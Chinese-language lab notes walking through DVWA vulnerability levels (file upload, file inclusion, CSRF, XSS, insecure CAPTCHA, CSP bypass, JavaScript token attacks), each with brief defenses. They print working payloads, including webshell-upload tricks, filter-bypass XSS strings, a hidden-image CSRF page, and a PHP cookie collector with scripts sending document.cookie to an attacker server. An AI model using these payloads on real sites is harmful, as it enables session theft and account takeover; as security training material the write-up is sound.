发现上传成功。可以用中国蚁剑(Ant Sword)、中国菜刀(Cknife)连接,密码为设置的连接字符

image-20220913153736774

或者修改type类型application/x-php为 image/jpeg也可以

在php<5.3.4时,也可以使用00截断。

将文件名改成”1.php .png”,查看HEX,将16进制空格(20)改成(00)

或者将文件名改成”1.php%00.png”,抓包,选中filename进行Convert Selection—URL—url-decode

High

查看源码发现加了一个getimagesize函数

getimagesize()函数将测定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM或WBMP图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通HTML文件中< IMG >标记中的 height/width 文本字符串。

此时可以将图片和一句话木马组合成一张图片上传

linux文件合并

cat file1 file2 > file3

windows文件合并

copy /b file1 + /a file2 file

copy

或者在文件头部加上GIF89a——如Medium

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。

使用getimagesize函数无法判断其图片是无效的

然后把合并后的文件上传,这里需要用到文件包含漏洞。(如果没有的话也是不能复现的)

这里在文件包含漏洞的界面+文件路径。会出现

Parse error:syntax error,unexpected ‘,’ ,expecting end of file in xx on line 11

原因:Windows的文本默认是dos格式,换行符 CR LF。Linux的文本是unix格式,换行符 LF。另外,Mac系统下文本换行符为CR。

解决1:将dos格式转成unix格式,再执行脚本就不会报错了。

转换方式1:在windows中,notepad++编辑器右下角可直接修改文档格式

转换方式2:在Linux中,用vim打开脚本;用 :set ff 可查看文件格式;用 :set ff=unix 可设置文件格式为unix:

原因2:shell脚本语法格式错误。

换了个图片就可以了?

7.文件包含漏洞(File Inclusion)

介绍

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含

服务器通过php的特性(函数的特性)去包含任意文件时,由于对包含的这个文件来源过滤不严,从而可去包含一个恶意的文件,来达到目的。

包括:本地文件包含和远程文件包含

原因:如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露。

函数:allow_url_fopen,allow_url_include开启(在phpstudy->其他选项菜单->php扩展及设置->参数设置,在这个里面可以打开与关闭函数)

PHP中文件包含函数有以下四种:

require() # require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

require_once() # 功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次

include() # 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。

include_once() # 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

防御

1.设置白名单

代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。

2.过滤危险字符:

由于Include/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini), 在Linux环境中可以通过”../../“的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。

3.设置文件目录(配置php.ini):

PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。

4.关闭危险配置(配置php.ini):

PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。

Low

查看源码

1
$file=$_GET['page'];

尝试随便输个字符串,提示没有文件流,此时会显示路径(涂掉的那个)

image-20220914100304222

选择之前上传的php(所以一般来说文件包含漏洞都得配合文件上传漏洞实现),使用绝对路径或相对路径

这里用get传参也会出现failed to open stream的提示,可以用HackBar来POST达到目的

image-20220914101919200

远程文件包含

在显示路径的DVWA目录下有php.ini文件。

查看php.ini显示magic_quotes_gpc=Off,allow_url_fopen=on,allow_url_include=on

当服务器的php配置中,当allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。在远程服务器上上传一个phpinfo.txt文件

Medium

查看源码,发现把”http” “https” “../“ “..\“转义为空

但是可以用双写或者大小写绕过

image-20220914102123146

或者直接使用绝对地址(涂掉了)

image-20220914102251756

High

查看源码,使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

把路径改成file:///的形式就可以了(绝对路径)

file协议:本地文件传输协议,主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。

image-20220914102438224

8.跨站请求伪造(CSRF)

介绍

CSRF:也叫XSRF(英文Cross-site request forgery),中文名是跨域请求伪造,也被称为One Click Attack或者Session Riding。CSRF是指恶意用户伪造并诱使用户A在不经意间点击这个链接,而在请求这个伪造的URL时,实际上是请求了某个需要用户A身份认证登录的服务。由于大部分登录服务都是通过Cookie来识别用户的,而这些Cookie存储在用户A登录过服务的浏览器上,只要不关闭浏览器不退出登录,以后访问这个服务就会带上这个Cookie直接登录 。

此漏洞就是利用保存在浏览器上的Cookie身份信息,不管以哪种方式请求对应的服务,都会自动读取Cookie免登录。尤其是在跨域情况下,虽然由于“跨域”无法用代码中的变量接收返回的内容(不管是Form表单的submit提交还是Ajax方式的提交),但如果不关心返回结果(不判断接口的请求结果是否成功),只是请求而已,此时就有可能在用户不知情的情况下修改了用户A对应的业务数据。

本质来说就是在访问网站信息的同时,盗用你的cookie,用你的身份进行一些非法操作。

防御

1、服务端使用Referer或Origin请求头判断请求来源,因为前端在发起请求时无法修改设置这两个请求头,只能是浏览器自动设置,参见:禁止修改的消息首部 - 术语表 | MDN。

说明:postman等模拟请求工具虽然可以修改Header头,但它只是模拟成了一个浏览器发起请求,实际浏览器并不能修改上述请求头。

2、保证某些请求参数必输,且这些参数不放在URL中,且这些参数不存储在浏览器可以重复读取利用的地方(比如Cookie中)。在这种情况下,必输参数只能放在Post参数中且该参数无法被恶意用户通过抓包等方式获取到,并且无法找到规律,请求时就会报缺少参数或参数错误无法访问服务。最常用的是使用身份令牌token:

这个token是与用户身份相关的随机数,且有有效期。每次请求都需要通过POST表单提交这个token,请求到服务端之后服务端要校验这个token值对不对。由于这个token没保存在Cookie中,只能通过Post参数传递,即使带上了Cookie中正确的身份信息,token缺失或者不正确都会直接被服务拒绝。这个token只有用户本身登录成功后才能拿到,别人无法伪造。

当然,如果用户自己从正确的请求页面中抓包拿到token,在一个新页面发请求,这种情况不考虑在内,毕竟这属于和用户密码泄露一样,并不能通过系统避免。

3、对于无Post必输参数的请求,单纯地增加Header头的Referer或Origin请求头校验,在“同域”下仍然不能避免诱使用户无感知点击链接,只能通过增加token的方式来解决。

CSRF攻击与防御

4.samesite属性

img

Low

输入修改后的密码然后抓包,发现这是一个get请求

image-20220914104426777

可以将url+get请求拼接作为恶意链接;

或者使用burpsuite的Action=Engagement tools=Generate CSRF PoC=Test in browser得到恶意链接

(当链接过长时可以使用工具生成短链)

可以诱使点击恶意链接或者构建一个网页如下

在真实情况下,这种方法需要事先在公网上上传一个攻击页面,诱导用户去访问这个页面,这样才能在用户不知情的情况下进行攻击

1
2
3
<img src="恶意链接" border=0 style="display:none;"> 
<h1>404<h1>
<h2>file not found

在虚拟机打开恶意链接成功修改密码?并没有,因为之前抓包没有丢弃。

在虚拟机直接打开恶意链接出现Submit Request字样?点击后修改密码成功

但是在主机使用burpsuite产生的链接未成功修改密码?

尝试用phpstudy新建一个网站,访问该网站仍然未成功,只能选择get链接。

然后发现浏览器阻止了跨源响应

直接打开文件可以修改,修改域名为127.0.0.1也可以。

image-20220914112207465

总结:需要保证DVWA地址和修改的HTML地址为统一IP段

Medium

抓包结果完全没变化
使用get链接,显示The request didn’t look correct
查看源码,
isset:判断变量是否声明
stripos:返回字符串在另一个字符串中第一次出现的位置(不区分大小写,后者为查找对象)

相关函数:
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

源码中检查了SERVER_NAME(Host)在HTTP_REFERER(Referer)中的位置(是否存在)
而对get链接抓包后显示是没有Referer的,在该包中添加Referer参数,但是还是提示错误。
发现他好像抽了,本身修改都不行。
查看源代码发现SERVER_NAME是localhost。。。(无语了,修改phpstudy中域名为127)
然后发现可以正常修改了。(主机中)
虚拟机也要改成127才行,成功修改
或者修改名称为IP.html放在该IP下也行(不同路径前缀不同)

High

点击修改密码后抓包,发现相对之前

在GET请求后加了个user_token

在Referer中加了参数password_new,password_conf,change,user_token

(这里的password_new和password_conf是当前密码而非要修改的密码)

image-20220914112429188

这里需要存储型XSS协助

在High等级的存储型XSS中可以爆出user_token

在Name栏输入<iframe src="../csrf" onload="alert(frames[0].document.getElementByName('user_token')[0].value)"</iframe>就能爆出来

但是这里跳转提示Data too long for coloum 'name' at row 1?这里把数据库中name长度变长一点就行。
或者?

成功弹出token不要点击确定否则会被更新,把token放入构建的网址后用户访问就会被修改密码

9.跨站脚本攻击(XSS)

介绍

XSS又叫CSS,跨站脚本攻击。它指的是恶意攻击者往web页面插入恶意的html代码。当用户浏览该页面时,嵌入到web里面的html代码会被运行,从而达到恶意攻击用户的特殊目的。(也是一种注入漏洞)

反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

存储型XSS:<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型(在网页上,组织页面的对象被组织在一个树形结构中,用来表示文档中对象的标准模型就称为DOM,可能是存储型,也可能是反射型)XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

防御

XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

还可以在服务端设置会话Cookie的HTTP Only属性,许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。

反射型XSS(Reflected Cross Site Scripting)

Low

查看源码,毫无举措

输入<script>alert('123')</script>提交成功弹出提示框

image-20220914141657531

输入<script>alert(document.cookie)</script>提交成功弹出cookie

image-20220914141730997

那要如何把cookie发送到远程服务器呢?

在kali下打开apache服务 /etc/init.d/apache2 start

打开端口映射,VMware下 编辑-虚拟网络编辑器-更改设置-NAT设置-添加

然后在kali /var/www/html目录下写php脚本

1
2
3
4
5
6
7
8
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

保存后给脚本读写权限chmod 666 php

然后新建cookie文件,将cookie文件权限提升并修改用户组为apache2的用户组。

1
2
3
4
5
6
#查询用户组,这里是www-data
ps aux | grep apache
#修改cookie用户组
chown www-data:www-data cookie
#使用curl测试能否成功写入
curl 192.168.132.144/cookie.php?cookie=1

然后就可以在xss界面通过下列获取cookie,查看cookie文件就行

1
2
3
<script>
location.href="http://服务器的IP/cookie.php?cookie="+document.cookie
</script>

但是这种会跳转到空白界面

可以用ajax请求

1
2
3
4
5
6
<script>
var http=new XMLhttpRequest();
http.open('get','http://服务器的IP/cookie.php?cookie='+document.cookie);
http.send();
http.onreadystatechange=function(){}
</script>

这种方法浏览器控制台会报错no 'Access-Control-Allow-Orign' header is present on the requested resource

可以用jquery

Medium

查看源码可以发现,它将输入字符串的<script>替换成了空字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

可以使用大小写或双写绕过

1
2
<SCript>alert('123')</script>
<sc<script>ript>alert('123')</script>

image-20220914142400524

当符号被转义,可以使用字符实体

字符实体

html实体编码(10进制与16进制)

javascript的八进制跟十六进制

js unicode编码

url编码 base64编码

转义绕过

<script>标签被转义,可以使用onload 关键字和onerror 事件

1
2
3
4
//如果onload事件在代码之前已经被处理了。那就不会触发了
<body onload="alert('xss')">
//图片没有指定,也就是出错了,Onerror 这个事件就会发生
<img src='' onerror="alert('xss')">

<input>标签属性绕过

1
<input type="text" value='<script>alert("xss")</script>'>

闭合<input>

'><script>alert("xss")</script>

此时界面会多出单引号,可以变成

'><script>alert("xss")</script><xss a='

<xss a=”>这个没有意义,不会执行

High

查看源码,发现它把/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i转义成空字符

preg_replace() 函数执行一个正则表达式的搜索和替换。

正则表达式

该串字符的含义是//之间的字符<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t不区分大小写(ignore),限制了大小写绕过

i ignore - 不区分大小写 将匹配设置为不区分大小写,搜索时不区分大小写: A 和 a 没有区别。

g global - 全局匹配 查找所有的匹配项。

m multi line - 多行匹配 使边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。

s 特殊字符圆点.中包含换行符\n 默认情况下的圆点.是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后, . 中包含换行符 \n。

.匹配除换行符(\n、\r)之外的任何单个字符。

*匹配前面的子表达式零次或多次

(.*)限制了双写绕过

也就是说<script>已经寄了

但是可以使用onload和onerror

image-20220914142435022

存储型XSS(Stored)

存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。反射型XSS的被攻击对象一般是攻击者去寻找的,就比如说:一个攻击者想盗取A的账号,那么攻击者就可以将一个含有反射型XSS的特制URL链接发送给A,然后用花言巧语诱骗A点击链接。当A不小心点进去时,就会立即受到XSS攻击。这种攻击方式需要一点骗术,所以这种攻击范围不是特别的广,并且提交漏洞时要么平台不认,要么会被认定为低危漏洞。

存储型XSS可以采用广撒网的方式,就是攻击者将存储型XSS代码写进一些有XSS漏洞的网站上,只要有用户访问这个链接就会自动中招。所以我们可以看出,存储型XSS的危害性更大,范围更广,可以不需要寻找被攻击对象,只要存储型XSS在服务器上就能实施攻击。所以提交的存储型XSS评级一般为中危漏洞。

这种攻击多见于论坛、博客和留言板。攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端数据库中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到触发。

Low

正常输入Name,在Message栏输入<script>alert('xss')</script>此时会弹出提示框,刷新界面依然会弹出,说明成功注入存储型XSS

F12查看元素,发现该输入框限制了最大长度,直接修改就行

image-20220914142527687

同样,使用反射型XSS中传递cookie的js在每次访问界面的时候也能传递

(这里要离开界面再访问刷新,不然每次刷新会多一个Message)

Medium

查看源码,发现它把Name里的<script>替换为空

1
$name = str_replace( '<script>', '', $name ); 

对Message使用了strip_tags(addslashes($message)),其中

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符包括单引号(’)双引号(”) 反斜杠(\) NULL

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

所以基本上只能操作Name

修改元素最大长度后使用双写或者大写绕过

High

查看源码,发现message和Medium一样

1
$message = strip_tags( addslashes( $message ) );

对Name如反射型一样使用了preg_replace()过滤了<script>标签

1
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

操作也一样,使用onload或者onerror

花式绕过

玩的够花

preg_replace

preg_replace($pattern,$replacement,$subject)

正则表达式 替换字符串 目标字符串

当正则表达式以/e结束时,replacement的值会被当作php函数执行

preg_replace('/test/e','phpinfo();','test'),此时目标test被替换成phpinfo();并被执行

strip_tags

当使用thinkphp原生的upload()进行文件上传时,也会使用该函数

当上传php文件遭到过滤时,可以构造1.<a>php,此时可以上传并且会删除标签,成功上传php文件

assert

assert()执行的字符串如果有多条,只会执行第一条

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

类似于SQL注入,file=').phpinfo();//,其中.=是连接符

DOM型XSS

通过JavaScript,可以重构整个HTML文档,就是说可以添加,移除等等,对页面的某个东西进行操作时,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口就是DOM,所以在DOM型的xss漏洞利用中,DOM可以看成是一个访问HTML的标准程序接口。

Low

点击select,地址栏会出现default=english,可以直接修改或者通过抓包修改成xss

image-20220914143151578

Medium

查看源码,发现它使用了stripos函数检查default中是否含有<script(不区分大小写)

1
2
3
4
5
6
7
8
9
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

此时使用其他标签也不行,此时检查元素可以看到值的位置是

<option value="%3Cbody%20onload=%22alert(%271%27)%22%3E"></option>

此时可以尝试将value闭合(除了option还有外层select)

<option></select>都是双标签,也就是说会识别两个标签之间的语句

"></select><body onload="alert('xss')">(select必须要闭合,option闭不闭都行)

High

查看源码,发现它把default分成两类,除了四个选项的都视作english(白名单)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

因为DOM是不会和后端的服务期进行交互的,它只是利用DOM解析树,而DOM解析树依旧会解析注释符后面的语句,只要解析了就可以成功执行。

所以构建English#<script>alert('xss')</script>就会弹出提示框

10.不安全的验证码(Insecure CAPTCHA)

介绍

CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称

这里所介绍的不安全的验证码漏洞的出现是因为并没有在后台验证验证码的正确与否,

防御

验证原密码+PDO(防SQL注入)+Check Anti-CSRF token(防CSRF)

Low

随便输一个密码改一下,发现它加载贼慢,发现它尝试调用google验证码的API?

过了一段时间,弹出一个提示,经典“锟斤拷”

锟斤拷,是一串经常在搜索引擎页面和其他网站上看到的乱码字符。乱码源于GBK字符集和Unicode字符集之间的转换问题。

可以开代理或者将它的php修改src,将其指向国内的recaptcha

经过实践发现开代理不太行

最终通过访问https://www.google.com/recaptcha/admin/create创建一个v2版本的captcha并替换/DVWA/config/config.inc.php里的公私钥,并且将/DVWA/external/recaptcha/recaptchalib.php中所有www.google.com(一共两处)替换成www.recaptcha.net,然后就能够直接显示验证码了。

然后尝试输入密码并确认验证码,发现它提示更改,点击change密码就被修改了

回到题目上,查看源码,发现它把修改密码分成了两步

第一步检查验证码是否正确+确认密码是否等于密码

第二步直接进行密码更新

而区分属于哪一步的操作是通过判断step的值和change是否有值

直接抓包修改step为2跳过验证码,就能够修改成功了

image-20220914170334157

(那我前面修理验证码的意义是啥。。)

Medium

查看源码,它多加了一个passed_captcha,当这个为true且满足Low的条件时才会跳第二步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

抓包修改step的值为2,并添加passed_captcha=true重传,发现修改成功

image-20220914170652988

High

查看源码,发现它取消了step的设定,验证$resp的值(验证码,无法跳过)或另外两个变量g-recaptchaHTTP_USER_AGENT的值是否等于预定值(故意放水?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for user
echo "<pre>Password Changed.</pre>";

} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}

} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

抓包修改这两个值,密码修改成功

image-20220914171602226

11.绕过内容安全策略(CSP Bypass)

CSP浅析与绕过

CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,对网站加载或执行的资源进行安全策略的控制。

CSP是防XSS的利器,开发者通过设置CSP的内容,来规定浏览器可以加载的资源,CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

CSP主要通过下列途径实现

通过响应包头(Response Header)实现

Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';

通过HTML 元标签实现

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
参数说明:
script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。

除了Content-Security-Policy,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。

Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

指令值:

*:星号表示允许任何URL资源,没有限制;

self:表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;

data:仅允许数据模式(如Base64编码的图片)方式加载资源;

none:不允许任何资源被加载;

unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;

nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;

常见绕过方法

CSP绕过

防御

谨慎的设置内容安全策略,减少外部网站的引用策略。

Low

image-20220915091912805

查看源码或者使用CSP Evaluator扩展可以看到同源策略,发现有6个网址的资源可以被执行

1
script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com;

在这几个网址里写一个js并生成网址,然后Include,发现js被执行

image-20220915093135049

这里需要用raw(原生)形式来展现

image-20220915093147221

这里chrome会报错显示Indicate whether to send a cookie in a cross-site request by specifying its SameSite attribute

这是chrome 更新以后出现的问题,主要是为了防止CSRF 攻击,屏蔽了第三方cookies。。

可以回退浏览器降到79 及以下版本

修改same-site-by-default-cookiescookies-without-same-site-must-be-secure的配置为Disabled后重启服务器

也会报脚本因 Mime 类型不匹配而被阻止

这里换了一个网站生成网址就可以了

image-20220915102407559

image-20220915102428165

Medium

发现它有一个unsafe-inlinenonce-xx

1
script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

只需要把js中加一个nonce参数,值为后续字符就能执行js

1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

image-20220915102712297

High

image-20220915102746046

这里只有一个self

查看源码可以看到本题逻辑

1
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>

它点击后会生成一个script元素,指向source/jsonp.php?callback=solveSum

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script src="source/high.js"></script>
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

而solveSum是一个js函数

那就可以直接替换成js代码执行(抓包修改就行)

image-20220915103255108

image-20220915103225835

12.前端攻击(Javascript Attacks)

介绍

JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的。

若是涉及到Cookie、Session等记录用户信息的脚本,应该通过外部引入方式,并且不能暴露文件路径,控制好文件访问权限,若被攻击者获取到重要脚本代码,则能伪造其他合法用户进行伪造。

防御

外部引入脚本,不暴露文件路径,控制文件访问权限

Low

image-20220915103542257

输入win提示You got the phrase wrong,输入success提示Invalid token

image-20220915103852926

image-20220915104002130

查看源码发现我们输入的phrase进行rot13替换后md5加密后变成了token

1
2
3
4
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

rot13:A换成N、B换成O、依此类推到M换成Z,然后序列反转:N换成A、O换成B、最后Z换成M。只有这些出现在英文字母里头的字元受影响;数字、符号、空白字元以及所有其他字元都不变。

所以我们把success替换成fhpprff后md5加密替换token就会提示well done

1
2
md5(rot13('success'))
'38581812b435834ebf84ebcc2c6424d6'

image-20220915104704156

为什么其他字符串不行?应该是后台只存了success处理的结果进行比较。查看源码”index.php”发现确实是这样

Medium

查看源码可以看到token的值

1
2
3
4
5
6
7
8
function do_something(e){
for(var t="",n=e.length-1;n>=0;n--) t+=e[n];
return t
}
setTimeout(function(){do_elsesomething("XX")},300);
function do_elsesomething(e)
document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}

do_something函数把参数e反转后输出

do_elsesomething函数把(参数e+用户输入的phrase+”XX”)后经do_somethong处理后赋值给token

抓包后可以看出参数e是“XX”

所以只需要把success经上述步骤处理后(即XXsseccusXX)赋值给token就行

image-20220915105613414

High

High的JS看的有点想西内,应该是被加密或者混淆了

可以解混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
